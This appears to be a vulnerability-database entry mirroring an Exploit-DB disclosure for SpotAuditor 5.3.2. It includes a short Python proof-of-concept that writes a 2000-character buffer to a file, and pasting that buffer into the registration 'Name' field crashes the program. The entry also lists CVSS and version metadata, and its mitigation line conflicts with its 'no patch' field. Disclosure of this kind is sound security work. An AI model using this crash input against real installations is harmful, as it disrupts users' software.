SpotAuditor 5.3.2 - 'Name' Denial Of Service

vendor:

SpotAuditor

by:

ZwX

5.5

CVSS

MEDIUM

Denial of Service

DoS

CWE

Product Name: SpotAuditor

Affected Version From: 5.3.2002

Affected Version To: 5.3.2002

Patch Exists: NO

Related CWE:

CPE: a:nsauditor:spotauditor:5.3.2

Metasploit:

Other Scripts:

Platforms Tested: Windows 7

2019

SpotAuditor 5.3.2 – ‘Name’ Denial Of Service

This exploit allows an attacker to create a file with a large buffer and crash the SpotAuditor software by pasting the characters from the file into the 'Name' field.

Mitigation:

Update to a patched version of the software.

Source

Exploit-DB raw data:

#Exploit Title: SpotAuditor 5.3.2 - 'Name' Denial Of Service
#Exploit Author : ZwX
#Exploit Date: 2019-11-28
#Vendor Homepage : http://www.nsauditor.com/
#Link Software : http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe
#Tested on OS: Windows 7
#Social: twitter.com/ZwX2a
#contact: msk4@live.fr

'''
Proof of Concept (PoC):
=======================

1.Download and install SpotAuditor
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Name' and click on 'Ok'
6.SpotAuditor Crashed
'''
#!/usr/bin/python

http = "http//"
buffer = "\x41" * 2000


poc = http + buffer 
file = open("poc.txt","w")
file.write(poc)
file.close()
 
print "POC Created by ZwX"